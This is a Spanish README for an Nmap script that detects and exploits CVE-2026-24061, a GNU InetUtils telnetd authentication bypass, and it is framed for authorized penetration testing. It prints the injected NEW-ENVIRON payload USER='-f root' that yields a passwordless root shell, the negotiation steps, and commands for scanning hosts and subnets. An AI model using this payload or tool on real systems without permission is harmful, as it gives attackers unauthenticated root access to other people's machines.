
El script realiza una negociación Telnet completa replicando la secuencia exacta de bytes de una sesión real de un cliente telnet -a.
Este script NSE de Nmap detecta CVE-2026-24061, una vulnerabilidad de bypass de autenticación en telnetd de GNU InetUtils versiones 1.9.3 hasta 2.7.
Al enviar una variable de entorno USER manipulada con la forma durante
la negociación de opciones de Telnet, un atacante no autenticado puede obtener un shell con los
privilegios del usuario local especificado — incluido — .
-f <nombre_de_usuario>rootUso previsto: Solo pruebas de penetración autorizadas y evaluación de vulnerabilidades.
Ejecutar este script contra sistemas sin permiso escrito explícito es ilegal.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-24061 |
| Afecta a | telnetd de GNU InetUtils 1.9.3 – 2.7 |
| Puntuación CVSSv3 | 9.8 Crítico |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | Bypass de autenticación (CWE-287) |
| Divulgación | 2026-01-01 |
telnetd de GNU InetUtils utiliza la opción Telnet NEW-ENVIRON (RFC 1572) para recibir
variables de entorno del cliente durante la fase de negociación. El programa login(1)
se invoca posteriormente con esas variables.
La vulnerabilidad surge porque telnetd pasa la variable USER directamente a
login sin sanitizarla. El programa login en Linux acepta un indicador -f <usuario>
que significa "preautenticado, no comprobar contraseña". Al inyectar
USER="-f root" mediante la carga útil NEW-ENVIRON, el atacante omite la autenticación
por completo.
Cliente → Servidor: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Respuesta del servidor: genera login -f root → shell root, sin contraseña requerida
| Campo | Valor |
|---|---|
| Nombre de archivo | telnet-vuln-cve-2026-24061.nse |
| Categorías | vuln, exploit, intrusive |
| Puerto | TCP/23 (telnet) |
| Probado en | Nmap 7.94 / 7.98, Windows y Linux |
El script realiza una negociación Telnet completa replicando la secuencia exacta de bytes
de una sesión real de cliente telnet -a (reconstruida a partir de una captura de Wireshark):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <usuario>' manipulado en la carga útil NEW-ENVIRON ISWILL ECHO / DO BINARY / WONT LINEMODEEstados de resultado:
| Estado | Significado |
|---|---|
EXPLOIT | Prompt de shell recibido — bypass confirmado |
LIKELY_VULN | Carga útil ENV aceptada, sin prompt de contraseña, pero sin prompt de shell |
NOT_VULN | Prompt de contraseña visto, o la negociación no se completó |
# Copiar al directorio de scripts de Nmap
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Actualizar la base de datos de scripts
sudo nmap --script-updatedb
# Copiar al directorio de scripts de Nmap (ajustar la ruta si es necesario)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Actualizar la base de datos de scripts (ejecutar como Administrador)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <objetivo>
# Forma corta
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <objetivo>
# Forma media
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <objetivo>
# Forma totalmente calificada
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <objetivo>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <objetivo> # detallado
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <objetivo> # depuración
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <objetivo> # traza hex completa
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| Bypass de autenticación en telnetd de GNU InetUtils
| Estado: VULNERABLE (Explotable)
| IDs: CVE:CVE-2026-24061
| Factor de riesgo: Crítico CVSSv3: 9.8
| Descripción:
| El servicio telnetd en GNU InetUtils (1.9.3 - 2.7) permite
| el bypass de autenticación mediante una variable de entorno USER manipulada.
| Enviar '-f <usuario>' resulta en un shell de inicio de sesión no autenticado.
| Información adicional:
| Bypass de autenticación: prompt de shell recibido tras inyectar
| USER='-f root' -- no se presentó ningún desafío de contraseña.
| Referencias:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(sin salida del script — NOT_VULN es silencioso por diseño, convención estándar de Nmap)
| Argumento | Alias(es) | Predeterminado | Descripción |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | Nombre de usuario a inyectar mediante -f |
telnetd de GNU InetUtils utiliza la negociación Linemode (RFC 1184) para determinar el
modo de E/S del terminal. El servidor envía DO LINEMODE al inicio de la negociación, y el
cliente responde inicialmente con WILL LINEMODE. Después del intercambio de la carga útil ENV, el servidor
envía WILL ECHO seguido de DO BINARY. En este punto, el cliente debe responder
con WONT LINEMODE para indicar el modo carácter a carácter — solo entonces telnetd
puede completar la configuración del PTY (ioctl TIOCSWINSZ) y bifurcar login. Sin este paso, el
servidor registra peer died: Inappropriate ioctl for device y cierra la conexión.
La API de socket NSE de Nmap difiere de las convenciones estándar de socket de Lua:
-- Nmap NSE (correcto):
local status, data = sock:receive_bytes(1)
if status == true then -- data es la cadena recibida
Este script se proporciona solo para pruebas de seguridad autorizadas y fines de investigación. El autor no es responsable de ningún uso indebido o daño causado por esta herramienta. Obtenga siempre permiso escrito explícito antes de probar sistemas que no posea.